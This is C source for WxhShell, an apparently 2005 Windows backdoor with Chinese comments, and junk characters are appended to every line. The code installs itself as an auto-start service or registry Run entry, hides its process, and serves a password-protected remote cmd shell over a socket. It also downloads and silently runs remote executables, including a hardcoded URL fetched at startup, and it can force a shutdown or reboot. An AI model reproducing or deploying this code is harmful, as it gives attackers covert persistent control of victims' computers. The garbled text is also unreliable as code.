    else { fTvm2+.nX  
    closesocket(wsh); RLnL9)`W  
    ExitThread(0); :\His{%  
    } TxP +?1t  
    break; N6}/TbfAR  
    } S\&3t}_  
  // 获取shell Wx{E\ l  
  case 's': { wLXJ?iy3  
    CmdShell(wsh); 4<F z![>  
    closesocket(wsh); |9c~kTjK  
    ExitThread(0); Ls9NQy  
    break; !!^z6jpvn  
  } c!4F0(n4  
  // 退出 crP2jF!  
  case 'x': { Kx] SiejJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gK[;"R)4o@  
    CloseIt(wsh); iT4*~(p 3  
    break; 6- i.*!I 8  
    } e;6K xvX~  
  // 离开 cZ?QI6|[  
  case 'q': { ob{'Z]-V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6&eXQl  
    closesocket(wsh); @9gZH_ur>E  
    WSACleanup(); "[|b,fxR  
    exit(1); U+)p'%f;  
    break; !-f Bw  
        } FoyYWj?,R  
  } \%=\4%:  
  } FI$:R  
.9qK88fUR  
  // 提示信息 [s {!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oY18a*_>M1  
} |:=o\eu&  
  } J/?Nf2L4  
2nd n8_l  
  return; (8JU!lin  
} 7w/IHML  
/9w>:i81  
// shell模块句柄 0Z9DewwP  
int CmdShell(SOCKET sock) %X{EupiFA  
{ B )r-,M  
STARTUPINFO si; yp.K-  
ZeroMemory(&si,sizeof(si)); yLX $SR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $RaN@& Wm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2d ! '9mA  
PROCESS_INFORMATION ProcessInfo; @!#e\tx  
char cmdline[]="cmd"; Z',!LK!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JbMTULA  
  return 0; $7S"4rou  
} ??rS h Mu  
&v{Ehkr*  
// 自身启动模式 .V?:&_}_I6  
int StartFromService(void) <\aeC2~M  
{ y/lF1{}5  
typedef struct *U?O4E9  
{ }{o !  
  DWORD ExitStatus; #< im?  
  DWORD PebBaseAddress; ~&?bU]F  
  DWORD AffinityMask; IHl q27O  
  DWORD BasePriority; d8j1L/e  
  ULONG UniqueProcessId; g`7XE  
  ULONG InheritedFromUniqueProcessId; #o.e (C  
}   PROCESS_BASIC_INFORMATION; ^:eZpQ [,  
-4a9BE".  
PROCNTQSIP NtQueryInformationProcess; +K57. n{  
E9HMhUe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P3$eomX'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ly[LF1t   
yPm2??5MW>  
  HANDLE             hProcess; wbO6Ag@))  
  PROCESS_BASIC_INFORMATION pbi; p*Bty@CRi  
C_.9qo]DT7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {f!/:bM  
  if(NULL == hInst ) return 0; C$3*[  
9(CvGzco <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _]Hna<Ly  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o\AnM5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pm&TH d  
@=Kq99=\U  
  if (!NtQueryInformationProcess) return 0; sGvbL-S-f:  
Y Y:Bw W:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nR!e(  
  if(!hProcess) return 0; $Gn.G_"v  
vh9* >[i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Z JoC!u  
QFyL2Xes/  
  CloseHandle(hProcess); 8s%/5v"  
z`y9<+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CI|lJ  
if(hProcess==NULL) return 0; dj|5'<l2  
Y4T")  
HMODULE hMod; -+9[X*VCc  
char procName[255]; g(DD8;]w<  
unsigned long cbNeeded; GN.O a$  
ZO}Og&%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J3Mb]X)_}  
j)1yv.  
  CloseHandle(hProcess); q^@*{H  
#c!:&9oU  
if(strstr(procName,"services")) return 1; // 以服务启动 D-3[# ~MV  
R+sT &d  
  return 0; // 注册表启动 FoefBo?g65  
} k15vs  
bP,<^zA|X  
// 主模块 .{Y;6]9[  
int StartWxhshell(LPSTR lpCmdLine) gjF5~ `  
{ +bjy#=  
  SOCKET wsl; yev!Nw  
BOOL val=TRUE; FR(W.5[  
  int port=0; QWmE:F[M~  
  struct sockaddr_in door;  K +7  
8$Q`wRt(%  
  if(wscfg.ws_autoins) Install(); KuNLu31%  
I8*VM3  
port=atoi(lpCmdLine); 1I Yip\:lS  
,RP-)j"Wff  
if(port<=0) port=wscfg.ws_port; ;D5>iek5  
_8K+iqMZG  
  WSADATA data; >nSsbhAe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tobE3Od4  
91 jRIB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pMF vL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dzcF1 5H1  
  door.sin_family = AF_INET; >WLPE6E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ROO*/OOd  
  door.sin_port = htons(port); ycGY5t@K@  
nx9PNl@?V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }A9#3Y|F  
closesocket(wsl); W? 7l-k=S  
return 1; wcHk]mLM  
} [|\6AIoS  
!}*N';  
  if(listen(wsl,2) == INVALID_SOCKET) { s8j |>R|k  
closesocket(wsl); $Dg-;I  
return 1; C|{Sj`,XG  
} *MJm:  
  Wxhshell(wsl); ?y>N&\pt2  
  WSACleanup(); mq:k |w^6  
#-az]s|N  
return 0; egmUUuO  
RK# 6JfC3X  
} Sn:>|y~  
zI88IM7/  
// 以NT服务方式启动 w,~*ead  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iAd&o `C  
{ ZvY"yl?e  
DWORD   status = 0; ZlV  
  DWORD   specificError = 0xfffffff; Po>6I0y  
lH fZw})d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; opX07~1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z'o0::k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zy0M\-Mn  
  serviceStatus.dwWin32ExitCode     = 0; Gz`Jzh j  
  serviceStatus.dwServiceSpecificExitCode = 0; )! [B(  
  serviceStatus.dwCheckPoint       = 0; 5- dt0I@<  
  serviceStatus.dwWaitHint       = 0; -:}vf?  
L K&c~ Uy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#~J[uk  
  if (hServiceStatusHandle==0) return; Q0*E&;|  
^&3vGu9  
status = GetLastError(); 2 BY|Cp4R  
  if (status!=NO_ERROR) zD_5TG M=  
{ Nr4Fp`b8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zK0M WyXO  
    serviceStatus.dwCheckPoint       = 0; -]%EX:bm  
    serviceStatus.dwWaitHint       = 0; )L<.;`g4x  
    serviceStatus.dwWin32ExitCode     = status; 01Jav~WR  
    serviceStatus.dwServiceSpecificExitCode = specificError; H4Bt.5O*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Owp]>e  
    return; [bLKjD  
  } W3i<Unq  
+=WBH'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _ep&`K  
  serviceStatus.dwCheckPoint       = 0; cT(nKHL  
  serviceStatus.dwWaitHint       = 0; s'O%@/;J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .+7n@Sc  
} a$W O} g?  
fb f&bJT  
// 处理NT服务事件,比如:启动、停止 |dIR v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x1=`Z@^  
{ XRaGV~  
switch(fdwControl) V7$ m.P#uM  
{ 9WHE4'Sa  
case SERVICE_CONTROL_STOP: s:<y\1Ay  
  serviceStatus.dwWin32ExitCode = 0; e`Yj}i*bx]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; su0K#*P&I  
  serviceStatus.dwCheckPoint   = 0; |\bNFnn(  
  serviceStatus.dwWaitHint     = 0; c{ 'Z.mut  
  { Zl_sbIY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #jbC@A9Pe  
  } O!PGZuF  
  return; lB}?ey   
case SERVICE_CONTROL_PAUSE: 5?3v;B6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8hV]t'/;  
  break; Q_ T,=y  
case SERVICE_CONTROL_CONTINUE: l(Y32]Z   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 03?ADjO  
  break; yCz"~c  
case SERVICE_CONTROL_INTERROGATE: @Z0. }}Y  
  break; R14&V1 tZ  
}; hMupQDv/I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JP!e'oWxi  
} $%U}k=-  
2k!uk6  
// 标准应用程序主函数  -raK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xK8m\=#  
{ 6cg,L:j#  
N+V#=U y  
// 获取操作系统版本 K*^'t ltJ  
OsIsNt=GetOsVer(); 8V(~u^!%_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hW~% :v  
VI3fvGHat{  
  // 从命令行安装 H!NGY]z*  
  if(strpbrk(lpCmdLine,"iI")) Install(); i K@RQi  
5hqXMs  
  // 下载执行文件 vkLt#yj~  
if(wscfg.ws_downexe) { )~P<ruk>,C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FoIK, MdJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~m R^j  
} !d0$cF):  
[3irr0D7l  
if(!OsIsNt) { UB] tKn  
// 如果时win9x,隐藏进程并且设置为注册表启动 AsS~TLG9p  
HideProc(); Uq=Rz8hLM  
StartWxhshell(lpCmdLine); w8>lWgN  
} * *A JFc  
else 7ey|~u2  
  if(StartFromService()) ?,v@H$)3_  
  // 以服务方式启动 "6e3Mj\  
  StartServiceCtrlDispatcher(DispatchTable); KW0KXO06a  
else T5@t_D>8  
  // 普通方式启动 +Km xo4p  
  StartWxhshell(lpCmdLine); )`=N+k]  
q9zeN:><  
return 0; P^ -x  
} .>`7d=KT  
1_~'?'&^  
4/o9K*M+  
*nM.`7g*[  
=========================================== Mc  
D -e^b'l  
;r;>4+zn\  
xAsy07J?  
=0@o(#gM  
c1]\.s  
" y9:o];/  
B*Q.EKD8s  
#include <stdio.h> -mZ{.\9  
#include <string.h> +c'I7bBr  
#include <windows.h> 7 dG_E]&  
#include <winsock2.h> wRWKem=  
#include <winsvc.h> %D^j7`Z  
#include <urlmon.h> lVb;,C%K  
I>3G"[t  
#pragma comment (lib, "Ws2_32.lib") <>1*1%m  
#pragma comment (lib, "urlmon.lib") "%t !+E>nr  
4p&SlJ  
#define MAX_USER   100 // 最大客户端连接数 qr/N?,  
#define BUF_SOCK   200 // sock buffer c_2kHT  
#define KEY_BUFF   255 // 输入 buffer iu,Bmf^oD  
LZ9IE>sj  
#define REBOOT     0   // 重启 xeHqC9Ou  
#define SHUTDOWN   1   // 关机 -E!V;Tgc%U  
T|nN.  
#define DEF_PORT   5000 // 监听端口 20uR?/|@  
qoD M!~  
#define REG_LEN     16   // 注册表键长度 QeAkuqT'[  
#define SVC_LEN     80   // NT服务名长度 \RP=Gf  
`!T6#6h  
// 从dll定义API lO|H:7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4fzM%ku  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [+y/qx79  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P(r}<SM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); seH#v  
*SZ*S %oS3  
// wxhshell配置信息 IF*kLl?  
struct WSCFG { &"svt2  
  int ws_port;         // 监听端口 Uz!cVs?-  
  char ws_passstr[REG_LEN]; // 口令 `qsn;  
  int ws_autoins;       // 安装标记, 1=yes 0=no , v6[#NU_Z  
  char ws_regname[REG_LEN]; // 注册表键名 *o[*,1Pw  
  char ws_svcname[REG_LEN]; // 服务名 93y.u<,2;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9X{aU)"omQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !$5U\"M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oM-@B'TK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hpym!G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,G,T&W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :FdV$E]]<  
S,v9\wN.  
}; 'm"H*f  
x2TCw  
// default Wxhshell configuration FyQ^@@  
struct WSCFG wscfg={DEF_PORT, 'bg%9}  
    "xuhuanlingzhe", AuU:613]W8  
    1, S?=2GY  
    "Wxhshell", G";yqG  
    "Wxhshell", XH2g:$  
            "WxhShell Service", Oox5${#^  
    "Wrsky Windows CmdShell Service", ]?Ru~N}  
    "Please Input Your Password: ", Fk 1M5Dm  
  1, PHD$E s  
  "http://www.wrsky.com/wxhshell.exe", .x1EdfHed/  
  "Wxhshell.exe" cEw/F0  
    }; J74 nAC%J^  
J]|-.Wv1  
// 消息定义模块 !=0N38wA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JX/rAnc@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3!CI=(^IY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P*(lc:  
char *msg_ws_ext="\n\rExit."; +]  |J  
char *msg_ws_end="\n\rQuit."; fi#o>tVyJ  
char *msg_ws_boot="\n\rReboot..."; )r1Z}X(#d  
char *msg_ws_poff="\n\rShutdown..."; mrd(\&EhA  
char *msg_ws_down="\n\rSave to "; P[ KJuc  
.'7o,)pJ<  
char *msg_ws_err="\n\rErr!"; "mT~_BsD  
char *msg_ws_ok="\n\rOK!"; Z)7 {e"5d  
})bTQj7  
char ExeFile[MAX_PATH]; ZT_EpT=1  
int nUser = 0; oChcEx%  
HANDLE handles[MAX_USER]; /tP"r}l   
int OsIsNt; .Fh5:W N  
]Wv\$JXI  
SERVICE_STATUS       serviceStatus; n2Ycq&O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o &LNtl;  
UmQ 9_H7  
// 函数声明 iQin|$F_O  
int Install(void); lcIX l&  
int Uninstall(void); &g@?{5FP  
int DownloadFile(char *sURL, SOCKET wsh); {v]A`u)  
int Boot(int flag); eB!0:nHN  
void HideProc(void); 4"wuqr|o  
int GetOsVer(void); Fv5@-&y$W  
int Wxhshell(SOCKET wsl); S| !U=&  
void TalkWithClient(void *cs); 2lHJ&fck<  
int CmdShell(SOCKET sock); U4zyhj  
int StartFromService(void); )BS./zD*[<  
int StartWxhshell(LPSTR lpCmdLine); D,1S-<  
`<Zp!Hl(j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r#3_F=xL5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U4O F{  
YJXh|@LT  
// 数据结构和表定义 pt|u?T_+  
SERVICE_TABLE_ENTRY DispatchTable[] = 81H04L9K 7  
{ ?OvtR:hC  
{wscfg.ws_svcname, NTServiceMain}, ,p>=WX  
{NULL, NULL} OES+BXGX  
}; S1;#5 8  
PS!f&IY}[.  
// 自我安装 ~n|*-rca  
int Install(void) -5d8j<,  
{ f#/v^Ql*  
  char svExeFile[MAX_PATH]; Ry[VEn>C1  
  HKEY key; 07# ~cVI  
  strcpy(svExeFile,ExeFile); f(7 /  
+@AN+!(  
// 如果是win9x系统,修改注册表设为自启动 ~0t] `<y=  
if(!OsIsNt) { z)yxz:E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +;pdG[N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !2tZ@ p|  
  RegCloseKey(key); :kfl q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zpiqJEf|'"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a` 95eL}  
  RegCloseKey(key); "f(iQI  
  return 0; -`FTWH  
    } ;0P2nc:U~  
  } GmPNzHDb  
} kiZA$:V8  
else { S;a{wYF6v  
AnfJyltS  
// 如果是NT以上系统,安装为系统服务 -?&wD["y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %#yCp2  
if (schSCManager!=0) 2YdMsu~  
{ 'kL>F&|  
  SC_HANDLE schService = CreateService \ :1MM  
  ( [>oq~[e)?  
  schSCManager, j{0_K +B  
  wscfg.ws_svcname, %=S~[&8C  
  wscfg.ws_svcdisp, <hkg~4EKc  
  SERVICE_ALL_ACCESS, E@7";&\-8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ma: xxsH.  
  SERVICE_AUTO_START, @w[WG:-+  
  SERVICE_ERROR_NORMAL, $A9!} `V  
  svExeFile, `)*   
  NULL, 8h78Zb&[  
  NULL, "$;=8O5O  
  NULL, \vs,$h  
  NULL, =oV8 !d%]  
  NULL , pq<.?&E  
  ); WhMr'l/e  
  if (schService!=0) WXp=>P[  
  { 8G?'F${`  
  CloseServiceHandle(schService); Yi1_oe  
  CloseServiceHandle(schSCManager); Pv1C o:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tMad 2,:  
  strcat(svExeFile,wscfg.ws_svcname); BBm.;=8@ ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @ZK#Y){  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !t3)j>h:  
  RegCloseKey(key); jX$TiG  
  return 0; muwXzN(KX  
    } #?k$0|60  
  } !Ui3}  
  CloseServiceHandle(schSCManager); >&f .^p  
} >r2m1}6g"  
} U59uP 7n  
c (O+s/  
return 1; Wct +T,8  
} {6!Mf+Xq  
Uq 2Uv  
// 自我卸载 Oj:O-PtN2  
int Uninstall(void) !u.{<51b  
{ ,--/oP  
  HKEY key; Ash"D~  
g2l|NI#c^  
if(!OsIsNt) { IJ3[6>/ M0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R|% 3JE0  
  RegDeleteValue(key,wscfg.ws_regname); K2$mz  
  RegCloseKey(key); j01.`G7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %L+/GtxK  
  RegDeleteValue(key,wscfg.ws_regname); l7Y^C1hM  
  RegCloseKey(key); S])YU?e  
  return 0; WZ&/l 65J  
  } ;LELC5[*s  
} 0I* ^VGZ  
} k2sb#]-/}  
else { 6Ii2rEzD  
+?zyFb]Km  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lb2mWsg"  
if (schSCManager!=0) d}3<nz,  
{ d i`}Y&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E,JDO d}  
  if (schService!=0) ^ ]SS\=7  
  { e2*0NT^R  
  if(DeleteService(schService)!=0) { |jJC~/WR  
  CloseServiceHandle(schService); 2w)0>Y(_  
  CloseServiceHandle(schSCManager);  HUr;ysw  
  return 0; I! {AWfp0  
  } {g@Wd2-J}  
  CloseServiceHandle(schService); u{"o*udU  
  } Wznz  
  CloseServiceHandle(schSCManager); Kg=TPNf"$  
} Bs =V-0  
} ,WR$xi.j  
daE/v.a4|  
return 1; E)3B)(@&P  
} 9E)*X  
N5#qox$D  
// 从指定url下载文件 e]!Vxn3  
int DownloadFile(char *sURL, SOCKET wsh) PwQW5,,h0  
{ 'Sppm;?  
  HRESULT hr; :k6|-A2  
char seps[]= "/"; (l{+ T#  
char *token; =xQ 7:TB  
char *file; B~^MhX +j  
char myURL[MAX_PATH]; ,w; ~R4x  
char myFILE[MAX_PATH]; %/>\`d?  
SJoQaR,)>  
strcpy(myURL,sURL); JiEcPii  
  token=strtok(myURL,seps); vP^]Y.6  
  while(token!=NULL) %E?:9. :NJ  
  { s0H_Y'  
    file=token; |Yh-`~~A"  
  token=strtok(NULL,seps); #x1AZwC  
  } 0bQaXxt|p  
au9r)]p-  
GetCurrentDirectory(MAX_PATH,myFILE); Ziu f<X{  
strcat(myFILE, "\\"); Wy@Z)z?  
strcat(myFILE, file); 7{RI`Er`  
  send(wsh,myFILE,strlen(myFILE),0); 4q/E7n  
send(wsh,"...",3,0); Msn)jh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >9a%"<(2#  
  if(hr==S_OK) UBOCd[  
return 0; R"6Gm67t  
else jV\M`=4IC  
return 1; bv;&oc:r  
auAST;"Z8  
} v\rOs+.s  
%56pP"w  
// 系统电源模块 {k1s@KXtd  
int Boot(int flag) cBmo#:>'  
{ <Xm5re.  
  HANDLE hToken; cCFSPT2fq[  
  TOKEN_PRIVILEGES tkp; B7nMy oj  
ioi0^aM  
  if(OsIsNt) { -))>7skc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h#zx^F1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); to[EA6J8l  
    tkp.PrivilegeCount = 1; =}\]i*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |~8\{IcZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2]eh[fRQ  
if(flag==REBOOT) { /4#.qq0\{c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d%1S6eYa'  
  return 0; }!0,(<EsV  
} \-GV8A2:k  
else { aBr%"&Z.MG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nuw90=qj!]  
  return 0; &_,^OE}K_:  
} -yg9ug  
  } TcZ Ci^1F  
  else { 9V?MJZ@aG  
if(flag==REBOOT) { Z{chAg\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) / Zz2=gDY  
  return 0; |?s%8c'w=  
} ^*A/92!yF  
else { [Qy]henK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) miuJ!Kr'  
  return 0; TmKO/N@}  
} [H0jDbN  
} o1MbHBb  
eQcy'GA06  
return 1; ^>GL<1 1  
} 1kio.9NIp  
(z2)<_bXJ  
// win9x进程隐藏模块 5ez"B]&T  
void HideProc(void) &BG^:4b  
{ H\8i9RI  
IAnY+= ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); akm)X0!-}  
  if ( hKernel != NULL ) s7FqE>#c0  
  { 2r?g|< :  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zdh4CNEeFP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BTjF^&`  
    FreeLibrary(hKernel); iA^w2K  
  } +;Cq>1x,  
F!pUfF,&  
return; t=XiSj\n  
} SnQ$  
F`Q,pBl1p6  
// 获取操作系统版本 "^_p>C)T  
int GetOsVer(void) #A:I|Q1$g  
{ }5Y.N7F  
  OSVERSIONINFO winfo; CG=#rc]vz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >%#J8  
  GetVersionEx(&winfo); vm8QKPy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9!2KpuWji  
  return 1; w$Dp m.0(  
  else (y~da~  
  return 0; =C`v+NPM)|  
} YI%7#L7C  
V_+3@C  
// 客户端句柄模块 2$\1v*:  
int Wxhshell(SOCKET wsl) M_9|YjwS  
{ fD,#z&  
  SOCKET wsh; }[AIE[  
  struct sockaddr_in client; EVb'x Zr  
  DWORD myID; #\`6ZHW  
? ~_%I  
  while(nUser<MAX_USER) ,j&o H$mW  
{ guwnYS  
  int nSize=sizeof(client); q#OLb"bTr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BAm{Gb  
  if(wsh==INVALID_SOCKET) return 1; lV]l`$XI  
P Cw.NJd$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  .':SD{  
if(handles[nUser]==0) 3kKXzIh  
  closesocket(wsh); OY[N%wr!  
else <&H.pN1_  
  nUser++; ge[\%  
  } nHZ 4):`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Pv%E  
<~:  g  
  return 0; DCw ldkdJN  
} z#,?*v  
RCxqqUS\C  
// 关闭 socket 4{fi=BA   
void CloseIt(SOCKET wsh) (%I`EAR  
{ {`J7>K  
closesocket(wsh); (q +Q.Q  
nUser--; + FLzK(  
ExitThread(0); 2H]&3kM3X  
} A`OU} 'v?L  
V]vk9M2q[l  
// 客户端请求句柄 -sc@SoS  
void TalkWithClient(void *cs) [k1N`K(M  
{ Kx<bVK4"  
0D.YO<PU  
  SOCKET wsh=(SOCKET)cs; [=LQ,e$r7  
  char pwd[SVC_LEN]; CrqWlO  
  char cmd[KEY_BUFF]; OM, uR3,  
char chr[1]; b,SY(Ce~g  
int i,j; (_-z m)F7  
vLkZC  
  while (nUser < MAX_USER) { "J[Crm  
yq;gBIiZ  
if(wscfg.ws_passstr) { L#NPt4Sz+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?]sj!7   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D$ `yxc  
  //ZeroMemory(pwd,KEY_BUFF); F'`L~!F  
      i=0; $vc:u6I[  
  while(i<SVC_LEN) { q$H'u[KQ06  
E@[`y:P  
  // 设置超时 Pb[wysy  
  fd_set FdRead; $=H\#e)]Ug  
  struct timeval TimeOut; [>6:xGSe9X  
  FD_ZERO(&FdRead); eOLS  
  FD_SET(wsh,&FdRead); A:;KU  
  TimeOut.tv_sec=8; A\z[/3& RK  
  TimeOut.tv_usec=0; c()F%e:n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ot,<iE#za  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hEEbH@b  
,gRsbC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); neOR/]  
  pwd=chr[0]; BBy/b c!  
  if(chr[0]==0xd || chr[0]==0xa) { Q*U$i#,  
  pwd=0; i<&2Ffvq  
  break; SD JAk&Z}R  
  } 2&5"m;<  
  i++; h4.ZR={E  
    } +KD~/}C%-  
/ <y-pFTg  
  // 如果是非法用户,关闭 socket t ZF G`'/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L6U[H#3(  
} f3*u_LO  
mqtl0P0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V&NOp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9h~>7VeZ)  
:IS]|3wD  
while(1) { J}<k`af  
5H?`a7q N  
  ZeroMemory(cmd,KEY_BUFF); w,JB`jS)/  
O2A Z|[*I  
      // 自动支持客户端 telnet标准   0}HKmEM  
  j=0; %'t~+_  
  while(j<KEY_BUFF) { v#D9yttO{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .F}ZP0THnZ  
  cmd[j]=chr[0]; f@>27&'WV  
  if(chr[0]==0xa || chr[0]==0xd) { >*Y~I0>  
  cmd[j]=0; nvpdu)q<  
  break; v)J6}H}e  
  }  :E'38~  
  j++; 8M:;9a8fh  
    } [YJP  
!L-.bve!  
  // 下载文件 '{U56^b]  
  if(strstr(cmd,"http://")) { q4(&.Al\@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g8}/Ln*W'  
  if(DownloadFile(cmd,wsh)) uVOOw&q_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I@ }:} 8t  
  else  3]<$;[Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y.jg }oV  
  } 7P:0XML}  
  else { -twIF49  
xzIs,i}U  
    switch(cmd[0]) { 56&s'  
  L{'qZ#N[  
  // 帮助 '_@=9 \<  
  case '?': { 'Ys"yY@  
